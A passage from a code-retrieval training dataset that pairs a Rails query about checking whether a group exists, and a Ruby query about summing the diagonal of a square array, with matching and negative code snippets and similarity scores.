"def admin?(&block)\n if @sso_groups.include?(\"Admin\") || @user.role_id >= 2\n concat(capture(&block))\n end\n end",
"def can_admin?(loc_group)\n permission_list.include?(loc_group.admin_permission) && self.is_active?(loc_group.department)\n end",
"def enforce_user_is_admin\n return if user_signed_in? && current_user.admin?\n raise CanCan::AccessDenied\n end",
"def limit_to_staff\n authenticate_user!\n unless current_user.admin?\n raise ActionController::RoutingError.new('Not Found')\n end\n end",
"def set_admin_flag\n @adminFlag = false\n end",
"def require_admin\n unless !current_user.nil? && current_user.admin?\n render file: 'public/401.html', status: :unauthorized\n end\n end",
"def admin?\n false\n end",
"def require_admin\n unless (@current_user && @current_user.is_admin?)\n set_notification_messages(I18n.t(\"authentication.permission_denied_heading\"), I18n.t(\"authentication.permission_denied_message\"), :error)\n redirect_to_sign_in_page\n return\n end\n end",
"def group_owner?\n super\n end"
] | [
"0.7619519",
"0.7419459",
"0.73993146",
"0.7336209",
"0.72050196",
"0.716738",
"0.71550626",
"0.71160245",
"0.7100673",
"0.707253",
"0.6985762",
"0.6985762",
"0.6983571",
"0.6955274",
"0.6932021",
"0.6932021",
"0.6932021",
"0.6890417",
"0.6867892",
"0.68626344",
"0.6836359",
"0.68319255",
"0.6826539",
"0.6824577",
"0.68130565",
"0.6812699",
"0.67942727",
"0.67908466",
"0.6787495",
"0.67317057",
"0.67165923",
"0.6710569",
"0.6683945",
"0.66657925",
"0.6641797",
"0.66410255",
"0.6632564",
"0.6624673",
"0.66086906",
"0.6594404",
"0.6573782",
"0.6556372",
"0.65534484",
"0.65337723",
"0.6528093",
"0.6523888",
"0.652007",
"0.65164584",
"0.65150017",
"0.6489415",
"0.6482872",
"0.6479046",
"0.6475528",
"0.6466777",
"0.64471835",
"0.6419055",
"0.64059764",
"0.6396816",
"0.6396752",
"0.6385018",
"0.6380493",
"0.6379938",
"0.6372426",
"0.6369921",
"0.6368947",
"0.63636214",
"0.63589036",
"0.63573426",
"0.63564456",
"0.63552666",
"0.63449365",
"0.63444364",
"0.6331025",
"0.632866",
"0.632822",
"0.6326559",
"0.6320169",
"0.63196075",
"0.630563",
"0.6304313",
"0.6303934",
"0.63014764",
"0.6290795",
"0.62899506",
"0.6289884",
"0.6288789",
"0.6285617",
"0.6279848",
"0.6277852",
"0.6269136",
"0.6264938",
"0.6249877",
"0.624903",
"0.6245785",
"0.62453294",
"0.62434614",
"0.6241096",
"0.6241088",
"0.6236714",
"0.6235958"
] | 0.8197735 | 0 |
Check if a group exists before executing an action. If it doesn't exist: redirect to 'list' and show an error message | def does_group_exist
@group = Group.find(params[:id])
rescue
flash.now[:group_error] = 'Someone else deleted the group. Your action was cancelled.'
redirect_to :action => 'list' and return false
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def check_group_exists\n if (Group.where(group_params).count != 0)\n redirect_to Group.where(group_params).first\n end\n end",
"def require_member_of_group\n if !member_of(current_group)\n # TODO: Add flash alert\n redirect_back fallback_location: home_path\n end\n end",
"def show\n @group = Group.find(params[:id])\n redirect_to groups_path, :flash => {:warning => \"Permission Denied\"}\\\n unless current_power.group? @group\n end",
"def create\n @group = Group.new(params[:group])\n @group.owner = current_user\n\n group_name_exists = false\n current_user.owned_groups.each do |g|\n if g.name == @group.name\n group_name_exists = true\n break\n end\n end\n \n respond_to do |format|\n if group_name_exists\n format.html { redirect_to groups_path, :alert => \"You already have a list by the name '#{@group.name}'.\" }\n format.json { render :json => @group, :status => :created, :location => @group }\n elsif @group.save\n format.html { redirect_to @group, :notice => 'Group was successfully created.' }\n format.json { render :json => @group, :status => :created, :location => @group }\n else\n error_msg = 'Unexpected error while creating group.'\n if @group.errors.messages.count > 0\n error_msg = 'Following error(s) prevented the group from being saved: '\n multiple = false\n @group.errors.full_messages.each do |msg|\n if multiple\n error_msg += ', '\n end\n error_msg += msg\n multiple = true\n end\n end\n format.html { redirect_to groups_path, :action => 'index', :alert => error_msg }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def load_group\n \n @group = nil\n \n if params.has_key?(:group_id)\n @group = Group.find_by_id(params[:group_id])\n elsif params.has_key?(:id)\n @group = Group.find_by_id(params[:id])\n end\n \n if @group.blank?\n respond_to do |format|\n format.js { render 'layouts/redirect' }\n format.html { render file: 'public/404', format: :html, status: 404 }\n end\n return false\n end\n \n return true\n \n end",
"def filter_group\n group_key = params[:group]\n @group = Group.find_by_identifier(group_key)\n if not @group\n redirect_to( :action => 'index', :group => Group.root.identifier )\n return false\n end\n \n @target = @group\n end",
"def view\n if params[:group][:id] == \"\"\n flash[:alert] = \"First select your class.\"\n redirect_to (:back)\n else \n redirect_to group_path(params[:group][:id])\n end\n end",
"def correct_group\n @group = Group.find(params[:id])\n redirect_to(root_url) unless @group == current_group\n end",
"def destroy\n begin\n if Group.size > 1\n @group.destroy\n redirect_to(list_groups_path(:page => params[:page]), :notice => t(\"group.destroyed\"))\n else\n redirect_to(list_groups_path(:page => params[:page]), :notice => t(\"group.last_one\"))\n end\n rescue\n redirect_to(list_groups_path(:page => params[:page]), :error => t(\"group.not_destroyed\"))\n end\n end",
"def group_entry\n unless @user.eql?('cchdo_admin')\n redirect_to :controller => '/staff', :action => 'index'\n end\n @groups = CruiseGroup.all\n render :partial => \"group_entry\"\n end",
"def show\n if user_signed_in?\n @membership.touch #last_attended_at\n template= 'show'\n else\n @group = Group.publicly_searchable.find( params[:id] )\n template= 'public_show'\n end\n respond_to do |format|\n format.html { render template: \"groups/#{template}\" }\n format.json { render json: @group }\n end\n\n rescue ActiveRecord::RecordNotFound\n redirect_to user_signed_in? ? groups_url : new_user_session_url\n end",
"def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"User Not In Group\", 404) and return \\\n unless @group\n end",
"def check_membership\n unless @group.includes_user?(current_user)\n respond_to do |format|\n flash.alert = \"Forbidden: must be a member.\"\n format.js { render js: \"window.location.href = '#{groups_url}'\" }\n format.html { redirect_to groups_url }\n end\n end\n end",
"def show\n redirect_to '/s_groups'\n end",
"def group_required\n required_group = Group.find_or_create_by(:name => \"Admin\")\n unless current_user.groups.is_member?(required_group)\n flash[:error] = \"The function you wish to use is only available to admin users\"\n redirect_to root_path\n end\n end",
"def require_admin_of_group\n if !admin_of(current_group)\n # TODO: add flash alert\n redirect_back fallback_location: current_group\n end\n end",
"def isUserMemberOfGroup \n redirect_to groups_path unless !GroupMember.userIsAlreadyInGroup(params[:group_id], current_user.id)\n end",
"def show\n @group = GROUP.first_or_get!(params[:id])\n\n # restrict the groups to the groups of the current user\n # unless the current user is allowed to create groups\n # and need to see all\n unless allowed(:create)\n allowed_groups = current_user.groups\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def require_request_group\n group = Group.find(params[:group])\n raise ActiveRecord::RecordNotFound unless group\n @request_group = group\n rescue LdapMixin::LdapException\n raise ActiveRecord::RecordNotFound\n end",
"def show\n @group = Group.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n end",
"def show\n @billboards = []\n Billboard.all.each {|a| @billboards << a if a.active }\n @group = Group.find(params[:id])\n\n message = \"You do not have access to the working group <strong>'#{@group.name}'</strong> at this time. If you are interested in joining this group, please let us know.\"\n authorize! :read, @group, :message => message.html_safe\n\n unless @group.overview_page.nil?\n redirect_to Page.find(@group.overview_page)\n else \n redirect_to group_posts_path(@group)\n end\n end",
"def do_not_rename_or_destroy_admins_group\n if @group and @group.is_the_administrators_group?\n redirect_to :action => 'list' and return false\n end\n end",
"def destroy\n @group = Group.find(params[:id])\n if @group.users.length>0\n # format.html { redirect_to @group, notice: 'Group can not be deleted.' }\n render json: \"Group already contains users\", status: 412 \n else\n if @group.destroy\n # format.html { redirect_to groups_url }\n render 'show'\n else\n render json: \"Error\", status: 422 \n end\n end\n end",
"def complete\n group = Group.find_by_uid(params[:group_id])\n\n unless group\n redirect_to app_access_unauthorized_path\n return\n end\n\n # Prepare and return response\n respond_with_identity(current_user,group)\n end",
"def index\n @groups = current_user.groups.active\n render 'groups/welcome' if @groups.blank?\n end",
"def update\n @group = Group.find(params[:id])\n\n if @group.owner != current_user\n respond_to do |format|\n format.html { redirect_to @group, notice: 'User not authorized.' }\n format.json { render json: @group, status: :not_authorized, location: group }\n end\n return\n end\n\n new_group_name = params[:group][:name]\n group_name_exists = false\n\n if new_group_name != @group.name\n current_user.owned_groups.each do |g|\n if g.name == new_group_name\n group_name_exists = true\n end\n end\n end\n \n respond_to do |format|\n if group_name_exists\n format.html { redirect_to @group, :alert => \"You already have a group by the name '#{new_group_name}'.\" }\n format.json { head :no_content }\n elsif new_group_name == @group.name\n format.html { redirect_to @group }\n format.json { head :no_content }\n elsif @group.update_attributes(params[:group])\n format.html { redirect_to @group, :notice => 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n error_msg = 'Unexpected error while updating group.'\n if @group.errors.messages.count > 0\n error_msg = 'Following error(s) prevented the group from being saved: '\n multiple = false\n @group.errors.full_messages.each do |msg|\n if multiple\n error_msg += ', '\n end\n error_msg += msg\n multiple = true\n end\n end\n format.html { redirect_to @group, :alert => error_msg }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t #this won't work - it won't find children groups\n\t @group = Group.find_by_id(params[:id])\n\t @group = nil unless current_user.can_access_group?(@group)\n respond_to do |format|\n if @group\n format.html # show.html.erb\n format.xml { render :xml => @group }\n else\n flash[:notice] = 'Group invalid or you do not have access to this group.'\n format.html { redirect_to groups_path}\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def exists?(group)\n url = build_url(group)\n rest_head(url) and true\n rescue Azure::Armrest::NotFoundException\n false\n end",
"def is_admin_in(group)\n unless group.admins.include? current_user\n flash[:danger] = \"Devi essere un amministratore per eseguire questa azione\"\n redirect_to group_path(uuid: group.uuid)\n end\n end",
"def show\n save_navi_state(['groups_title', 'browse_groups'])\n begin\n @group = Group.find(params[:id])\n @members = @group.members(session[:cookie]).paginate :page => params[:page], :per_page => per_page\n rescue RestClient::ResourceNotFound => e\n flash[:error] = :group_not_found\n redirect_to groups_path\n rescue ActiveRecord::RecordNotFound => e\n flash[:error] = :group_not_found\n redirect_to groups_path\n end\n end",
"def auth\n if current_user.nil? \n flash[:notice] = \"You need to login to manage groups\"\n redirect_to new_user_session_path\n elsif cannot? :manage, Admin::Group\n flash[:notice] = \"You do not have permission to manage groups\"\n redirect_to root_path\n end\n end",
"def auth\n if current_user.nil? \n flash[:notice] = \"You need to login to manage groups\"\n redirect_to new_user_session_path\n elsif cannot? :manage, Admin::Group\n flash[:notice] = \"You do not have permission to manage groups\"\n redirect_to root_path\n end\n end",
"def auth\n if current_user.nil? \n flash[:notice] = \"You need to login to manage groups\"\n redirect_to new_user_session_path\n elsif cannot? :manage, Admin::Group\n flash[:notice] = \"You do not have permission to manage groups\"\n redirect_to root_path\n end\n end",
"def index\n @group = current_user.groups.find_by(id: params[:group_id]) || @groups.first\n end",
"def invalid_group_number\n logger.error 'Attempt to access invalid group_name #{params[:group_number]}'\n flash[:danger] = 'Неправильный номер группы.'\n redirect_to root_path\n end",
"def disband_group\n destroy_collection({:table=>'groups', :on_success=>'You disbanded the group.'})\n rescue\n flash[:notice] = \"Could not find group.\"\n redirect_to :action=>'groups'\n end",
"def create\n @notify = current_user.invited_members;\n if group_params[:name] == \"\"\n respond_to do |format|\n format.html { redirect_to groups_path, notice: 'Group was Empty Cant created.' }\n end\n\t\t\t\n else\n if current_user.groups.exists? name: group_params[:name]\n\t\t\t\t#this group is already exist\n respond_to do |format|\n format.html { redirect_to groups_path, notice: 'Group was Found .' }\n end\n else\n @group = Group.new(group_params.merge(user: current_user))\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to groups_path, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :index }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end\n end\n end",
"def update\n if request.post?\n if @group.update_attributes(params[:group])\n redirect_to :action => 'list'\n else\n render :action => 'rename'\n end\n end\n end",
"def leave\n @group = Group.find_by(id: params[:id]) || not_found\n redirect_to(action: 'show', id: @group.id) && return \\\n if @group.admin?(current_user)\n end",
"def show\n @group = active_group \n @events = @group.get_all_events\n @title = \"#{@group.name} group |\"\n \n @actions << 'delete_group' if @group.is_owned_by? current_user\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def destroy\n @group = SuperSimpleCms::Group.find(params[:id])\n respond_to do |format| \n if SuperSimpleCms::Group.find(:all).length > 1\n @group.destroy \n format.html { redirect_to(super_simple_groups_url) }\n format.js { head :ok }\n format.xml { head :ok }\n else\n format.html { redirect_to(super_simple_groups_url) }\n format.js { head :failure }\n format.xml { head :failure }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n if @group.save\n redirect_to(list_groups_path(:page => params[:page]), :notice => t(\"group.created\"))\n else\n render :action => :new\n end\n end",
"def delete_group\n @mailing_list_group.destroy if @ok\n render 'update_list'\n end",
"def add_users\n group_name = params[:name]\n @group = $iam.groups[group_name]\n\n respond_to do |format|\n if @group.exists? # check if group already exists, then add user\n @group.users.add($iam.users[\"Ayesha\"])\n @group.users.add($iam.users[\"Fawad\"])\n format.html { redirect_to \"/show_group/#{@group.name}\", notice: 'User is added.' }\n else\n format.html { redirect_to \"/show_group/#{@group.name}\", notice: 'Error' }\n end\n end\n\n end",
"def show\n render_json_message({:success => t('.success')}, 201, {group: @group})\n end",
"def group_exists?(group)\n Sys::Admin.get_group(group)\n true\n rescue\n false\n end",
"def is_member_in(group)\n unless group.members.include? current_user\n flash[:danger] = \"Devi essere un membro per accedere ad un gruppo ed alle sue informazioni\"\n redirect_to groups_path\n end\n end",
"def member_user\n if params[:group_id]\n @group = Group.find(params[:group_id])\n else\n @group = Group.find(by_id)\n end\n unless @group.has_member?(current_user)\n flash[:danger] = \"The page you requested is only available to members.\"\n redirect_to @group\n end\n end",
"def valid_auth_group_joined_created\n @group = Group.find_by_id(params[:id])\n if @group\n @joined = @group.users.include?(@user)\n @created = @group.creator == @user\n else\n flash[:warning] = \"Not Exist Group\"\n redirect_to :action => \"index\"\n end\n end",
"def handle_cloud_stack_sso\n @group_id = params[:group_id]\n\n # Check that the return url (to consume SSO)\n # matches the app domain\n @user_group_access_list = retrieve_user_access_list_for_app(current_user,current_app)\n if @user_group_access_list.one?\n @group = @user_group_access_list.first\n self.render_saml_response_page\n elsif @user_group_access_list.any?\n if !@group_id.blank? && @group = @user_group_access_list.find_by_uid(@group_id)\n self.render_saml_response_page\n else\n self.render_group_selection_page\n end\n else\n self.render_access_denied_page\n end\n end",
"def show\n @group = Group.find(params[:id])\n return render 'index'\n end",
"def index\n authorize! :see, Group\n @groups = Group.all\n end",
"def show\n\n @user_group = UserGroup.find(params[:id])\n\n respond_to do |format|\n format.html do\n redirect_to(\n :controller => :groups,\n :action => :show,\n :id => @user_group.group_id)\n end\n format.xml { render :xml => @user_group }\n end\n end",
"def group_assign\n @course = Course.find(params[:id])\n group_unassigned_students(@course.id) \n respond_to do |format|\n format.html{redirect_to('/courses/'[email protected]_s+'/groups')}\n end\n\n end",
"def check_ownership\n unless @group.owner == current_user\n respond_to do |format|\n flash.alert = \"Forbidden: must be owner.\"\n format.js { render js: \"window.location.href = '#{group_url(@group)}'\" }\n format.html { redirect_to group_url(@group) }\n end\n end\n end",
"def test_require_group\n render text: 'OK'\n end",
"def validate_group_name\n group_name_param = params[:group_name]\n if group_name_is_unique?(group_name_param)\n render json: { valid_group_name: true }, status: :ok\n else\n render json: { valid_group_name: false,\n message: \"A Space named \\\"#{group_name_param}\\\" already exists\"\n },\n status: :ok\n end\n end",
"def create\n\n @user_group = UserGroup.new(params[:user_group])\n\n respond_to do |format|\n\n if @user_group.save\n\n #flash[:notice] = 'UserGroup was successfully created.'\n format.html do\n if request.env['HTTP_REFERER']\n redirect_to :back\n else\n redirect_to(\n :controller => :groups,\n :action => :show,\n :id => @user_group.group_id)\n end\n end\n format.xml do\n render(\n :xml => @user_group,\n :status => :created,\n :location => @user_group)\n end\n\n else\n\n format.html {\n render :controller => :groups, :action => :index }\n format.xml {\n render :xml => @user_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def main\n if current_user\n redirect_to '/groups' #groups_path\n end\n end",
"def show\n @group = Group.find(params[:id])\n if policy(@group).access?\n @problem_set_associations = @group.problem_set_associations\n render :layout => \"group\"\n else\n redirect_to info_group_path(@group)\n end\n end",
"def show\n authorize @group\n end",
"def show\n authorize! :show, @group\n end",
"def load_group\n @group = Group.find_by_name(params[:id].titleize) or raise ActiveRecord::RecordNotFound\n end",
"def set_food_group\n unless params[:id] == \"undefined\"\n @food_group = FoodGroup.find(params[:id])\n else\n redirect_to action: \"index\"\n end\n end",
"def show\n render success_msg(@group.all_info_per_user(@user.id)) and return\n end",
"def show\n @group = Group.includes(:users).find(params[:id])\n @group_member = GroupMember.new\n @group_member.group = @group\n\n if params[:from_reading_list]\n @reading_list = ReadingList.find(params[:from_reading_list])\n else\n @reading_list = nil\n end\n\n respond_to do |format|\n if @group.owner == current_user\n format.html\n format.json { render json: @group }\n else\n msg = \"You are not authorized to access group #{params[:id]}.\"\n format.html { redirect_to groups_url, alert: msg }\n format.json { render json: msg }\n end\n end\n end",
"def delete\r\n @group = Team.find(params[:id])\r\n\r\n rescue ActiveRecord::RecordNotFound\r\n flash[:error] = 'Teamet kunne ikke findes.'\r\n redirect_to teams_url\r\n end",
"def is_super_admin_in(group)\n unless group.super_admin == current_user\n flash[:danger] = \"Devi essere il fondatore per eseguire questa azione\"\n redirect_to group_path(uuid: group.uuid)\n end\n end",
"def update\n if @group.update_attributes(params[:group])\n flash[:notice] = t(\"group.updated\")\n redirect_to list_groups_path(:page => params[:page])\n return\n end\n\n render :action => :edit\n end",
"def create\n @group = Group.new(new_group_params)\n if @group.save\n redirect_to groups_url\n else\n render :template => \"groups/new\"\n end\n end",
"def show\n @group = Group.find_by(id: params[:id]) || not_found\n @entity = @group.entity\n not_found unless @group.status?\n redirect_to(action: 'index') && return unless @group.member?(current_user)\n @events = @group.events.future.confirmed.by_date\n @members = @group.members.by_name\n session[:current_group_id] = @group.id\n end",
"def show\n #logger.info \"GroupsController Get Parameters: #{params}\"\n if @group\n render json: @group.to_json(:include => {:memberships => {:only => [:admin], :include => {:user => {:only => [:id, :first_name, :last_name, :email]}}}})\n else\n render json: {error: \"YOU MUST BE MEMBER OF THIS GROUP TO SEE IT\"}, status: :unprocessable_entity\n end\n end",
"def index\n if session[:user_id].to_s == ''\n flash[:notice] = \"You must login to access the app...\"\n redirect_to login_path\n end\n if session[:admin].to_s == \"[true]\" and session[:user_id] != ''\n @usergroup = Usergroup.all\n @usergroup = @usergroup.order('group_name')\n end\n end",
"def manage_group\n @group = Group.find(params[:id])\n end",
"def index\r\n return jump_to(\"/groups/all\") unless has_login?\r\n \r\n account_id = session[:account_id]\r\n \r\n account_setting = AccountSetting.get_account_setting(account_id)\r\n module_group_index = account_setting.get_setting_value(:module_group_index)\r\n \r\n url = case module_group_index\r\n when \"all\"\r\n \"all\"\r\n when \"recent\"\r\n \"recent/#{account_id}\"\r\n when \"join\"\r\n \"list/#{account_id}\"\r\n when \"admin\"\r\n \"list_admin/#{account_id}\"\r\n else\r\n \"recent/#{account_id}\"\r\n end\r\n jump_to(\"/groups/#{url}\")\r\n end",
"def index\n @title = \"groups_title\"\n #save_navi_state(['groups_title', 'browse_groups']) #moved to filter\n public_group_ids = Group.get_public_group_ids(session[:cookie])\n # add groups to Kassi db if there are new (made in other services)\n Group.add_new_groups_to_kassi_db(public_group_ids)\n \n @groups = Group.paginate( public_group_ids ,{:page => params[:page], :per_page => per_page})\n end",
"def check_cabal_permission\n if !current_user.cabals.include?(Cabal.find_by_id(params[:id]))\n flash[:error] = 'You do not have the right permission to access this group!'\n redirect_to(root_url) \n end\n end",
"def index\n @groups = query(GROUP, :name)\n\n # restrict the groups to the groups of the current user\n # unless the current user is allowed to create groups\n # and need to see all\n unless allowed(:create)\n allowed_group_ids = current_user.groups.collect {|g| g.id }\n @groups.delete_if do |g|\n ! allowed_group_ids.member?(g.id)\n end\n end\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @groups }\n end\n end",
"def index\n case params[:filter].to_s\n when 'my'\n authorize Group.new(:owner_id => current_user.id), :update?\n @groups = Group.where(:owner_id => current_user.id)\n else\n authorize Group.new, :update?\n @groups = Group.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if !current_user || (!current_user.is_admin)\n format.html { redirect_to(@group, :notice => 'No permissions to create groups.')}\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n elsif @group.save\n format.html { redirect_to(@group, :notice => 'Group was successfully created.') }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n entry = Entry.find(params[:id])\n\n redirect_to entry.entry_group\n end",
"def authorize_group_access\n group_id = group_params[:id]\n\n return if group_id.blank?\n group = Group.find(group_id)\n validate_max_members_not_exceeded!(group)\n return if group_assignment.grouping.groups.find_by(id: group_id)\n\n report_invitation_failure\n raise NotAuthorized, \"You are not permitted to select this team\"\n end",
"def show_group\n unless @user.eql?('cchdo_admin')\n redirect_to :controller => '/staff', :action => 'index'\n end\n if @group = params[:group] and @group =~ /\\w/\n @cruise_group = CruiseGroup.first(:conditions => {:Group => @group})\n\n # Add the indicated cruise to the group\n if @expocode = params[:expocode]\n @cruise_group.Cruises = \"#{@cruise_group.Cruises},#{@expocode}\"\n @cruise_group.save!\n end\n end\n if @group or params[:cruise] and @group = params[:cruise][:Group] and @group =~ /\\w/\n @cruises = @cruise_group.Cruises.split(',').map {|expocode| Cruise.first(:conditions => {:ExpoCode => expocode})}.compact\n end\n render :partial => \"show_group\"\n end",
"def destroy\n @group.destroy unless @group.default\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def create\n #should expire groups page cache\n \n # expire the cache of the grouplist of this user\n Rails.cache.delete(Person.groups_cache_key(@current_user.id, session[:cookie]))\n \n @group = Group.new\n begin\n @group = Group.create(params[\"group\"], session[:cookie])\n flash[:notice] = :group_created_successfully\n redirect_to group_path(@group) and return\n rescue RestClient::RequestFailed => e\n @group.add_errors_from(e)\n @group.form_title = params[:group][:title]\n @group.form_description = params[:group][:description]\n render :action => :new and return\n rescue RestClient::Unauthorized => e\n @group.add_errors_from(e)\n @group.form_title = params[:group][:title]\n @group.form_description = params[:group][:description]\n render :action => :new and return \n end\n end",
"def destroy\n @group = Group.find(params[:id])\n \n if @group.owner != current_user\n respond_to do |format|\n format.html { redirect_to @group, notice: 'User not authorized.' }\n format.json { render json: @group, status: :not_authorized, location: group }\n end\n return\n end\n \n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"def show\n objid = params[:id]\n obj = ManagingGroup.find_by_id(objid)\n if obj\n render json: {managing_group: obj}, status: 200\n else\n render json: {}, status: 404\n end\n rescue => error\n render json: {}, status: 500\n end",
"def join\n @group = Group.find_by_id(params[:id])\n if @group\n @user.join_group(@group)\n flash[:success] = \"Join It Successed\"\n redirect_to :action => \"reports\", :id => @group\n else\n flash[:warning] = \"Not Exist Group to Join\"\n end\n end",
"def show\n #redirect_to groupings_path\n @grouping = Grouping.find(params[:id])\n redirect_to edit_grouping_path(@grouping)\n #respond_with(@grouping)\n end",
"def create\n @group = Group.new(group_params)\n unless @group.save\n render :new and return\n end\n msg = [\"Created group.\", rebuild_configs].join(\" \")\n redirect_to groups_url, notice: msg\n end",
"def list(response)\n requested_group = response.args[1]\n output = get_groups_list(requested_group)\n if output.empty?\n if requested_group\n response.reply(\n \"There is no authorization group named #{requested_group}.\"\n )\n else\n response.reply(\"There are no authorization groups yet.\")\n end\n else\n response.reply(output.join(\"\\n\"))\n end\n end",
"def create\n if request.post?\n @group = Group.new(params[:group])\n\n if @group.save\n # give the new group permissions to the folders\n give_permissions_to_folders(@group, params[:permission_to_everything][:checked] == 'yes' ? true : false)\n\n redirect_to :action => 'list'\n else\n render :action => 'new'\n end\n end\n end",
"def index\n id = -1 \n if params[:id] \n id = params[:id]\n else \n id = current_user.id \n end \n\n @user = User.find(id)\n @group = UserGroup.find_by(user_id: id, name: params[:group])\n\n if [email protected]?\n @group_members = get_members(@user, @group)\n end \n\n end",
"def show_errors\n # TODO: redirect to the member's meeting list?\n redirect_to meetings_path\n end",
"def current\n if session[:current_group_id].is_a? Numeric\n redirect_to(\n controller: 'groups', action: 'show',\n id: session[:current_group_id], status: 302\n ) && return\n else\n redirect_to(\n controller: 'groups', action: 'index'\n )\n end\n end",
"def requested_groups\n @request.empty? ? GROUPS : select_groups\n end",
"def show\n @group = Group.find(params[:group_id])\n end",
"def admin_user\n @group = Group.find(by_id)\n redirect_to @group unless @group.has_admin?(current_user)\n end",
"def create\n @group = current_user.groups.new(group_params)\n\n if (@group.save)\n flash[:success] = \"Found a new group!\"\n else\n flash[:warning] = \"Could not create group\"\n end\n\n redirect_to @group\n end",
"def join\n @person = Person.find(params[:person_id])\n @group = Group.find(params[:id])\n begin\n @person.join_group(@group.id, session[:cookie])\n flash[:notice] = [ :you_have_joined_to_group, @group.title(session[:cookie]) ]\n rescue RestClient::RequestFailed => e\n flash[:error] = message_from_error(e)\n end\n redirect_to group_path(params[:id])\n end"
] | [
"0.82312167",
"0.72790205",
"0.6956808",
"0.69134754",
"0.6887473",
"0.6844776",
"0.68217444",
"0.6724733",
"0.6607002",
"0.65707684",
"0.65427035",
"0.6513769",
"0.65013766",
"0.648523",
"0.64541197",
"0.6423775",
"0.64009565",
"0.6399634",
"0.63661057",
"0.6362678",
"0.6353682",
"0.63271445",
"0.6323592",
"0.63132906",
"0.6310986",
"0.63037",
"0.6285099",
"0.6271615",
"0.62539804",
"0.6247446",
"0.6233306",
"0.6233306",
"0.6233306",
"0.62207454",
"0.62203187",
"0.6200828",
"0.6192578",
"0.61911976",
"0.6180859",
"0.61389166",
"0.61350536",
"0.61344445",
"0.6129143",
"0.61239463",
"0.6109477",
"0.61082333",
"0.60912806",
"0.6086908",
"0.60843045",
"0.60752296",
"0.60667425",
"0.60427815",
"0.60402733",
"0.6027159",
"0.6021412",
"0.6014828",
"0.60021895",
"0.599416",
"0.59849745",
"0.5947998",
"0.5946152",
"0.59427524",
"0.5925577",
"0.5924405",
"0.59208864",
"0.5905222",
"0.5895976",
"0.58895016",
"0.5889079",
"0.58706033",
"0.585075",
"0.58233315",
"0.5808075",
"0.57958126",
"0.5780252",
"0.5778349",
"0.57750404",
"0.57745826",
"0.5771459",
"0.5764247",
"0.5761876",
"0.576025",
"0.5758807",
"0.5754214",
"0.57511073",
"0.5744459",
"0.57302153",
"0.57246476",
"0.5718262",
"0.571656",
"0.5709074",
"0.5699417",
"0.5698092",
"0.5677252",
"0.567602",
"0.5672755",
"0.5660201",
"0.5658075",
"0.56573105",
"0.5656067"
] | 0.78789526 | 1 |
Given a "square" array of subarrays, find the sum of values from the first value of the first array, the second value of the second array, the third value of the third array, and so on... Example 1: exampleArray = [[1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0], [0, 0, 0, 1]] diagonalSum(exampleArray) => 4 Example 2: exampleArray = [[1, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 0, 0], [0, 0, 0, 1, 0], [0, 0, 0, 0, 1]] diagonalSum(exampleArray) => 5 | def diagonalSum(matrix)
total = 0
(0...matrix.length).each {|sub| total += matrix[sub][sub]}
return total
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def two_d_sum(array)\n sum = 0 \n array.each do |sub_array|\n sub_array.each do |num|\n sum += num \n end\n end\n\n sum\nend",
"def two_d_sum(arr)\n\tsum = 0\n arr.each do |subArray|\n subArray.each do |i|\n sum += i\n end\n end\n return sum\nend",
"def multi_dimensional_sum(array)\n array.flatten.sum\nend",
"def multi_dimensional_sum(array)\n array.flatten.sum\nend",
"def multi_dimensional_sum(array)\n array.flatten! #convert 2d array into 1d array [[4,3,1][8,1][2]] -> [4,3,1,8,1,2]\n sum = 0\n i = 0\n while i < array.length\n sum+=array[i] #add and store array numbers into sum\n i+=1\n end\n return sum\nend",
"def two_d_sum(arr)\n total = 0\n\n arr.each do |sub_array|\n sub_array.each do |num|\n total += num\n end\n end\n\n return total\nend",
"def multi_dimensional_sum(array)\n \n sum = 0\n\n # Make the array one dimensional, loop over the elements and add each of\n # them together into a counter.\n array.flatten.each do |num| \n sum += num\n end \n\n # Implicit return.\n sum\nend",
"def diagonalSum(matrix)\n sum = 0\n\n matrix.each_with_index do |current_arr, idx|\n sum += current_arr[idx]\n end\n\n sum\nend",
"def multi_dimensional_sum(arr)\n return arr.flatten.sum\nend",
"def multi_dimensional_sum(arr)\n arr.flatten.sum\nend",
"def diagonalSum(matrix)\n (0...matrix.size).map { |i| matrix[i][i] }.reduce(&:+)\nend",
"def two_d_sum(arr)\ntotal = 0\n\narr.each do |sub_array|\n sub_array.each do |num|\n total += num\n end\nend\n\nreturn total\nend",
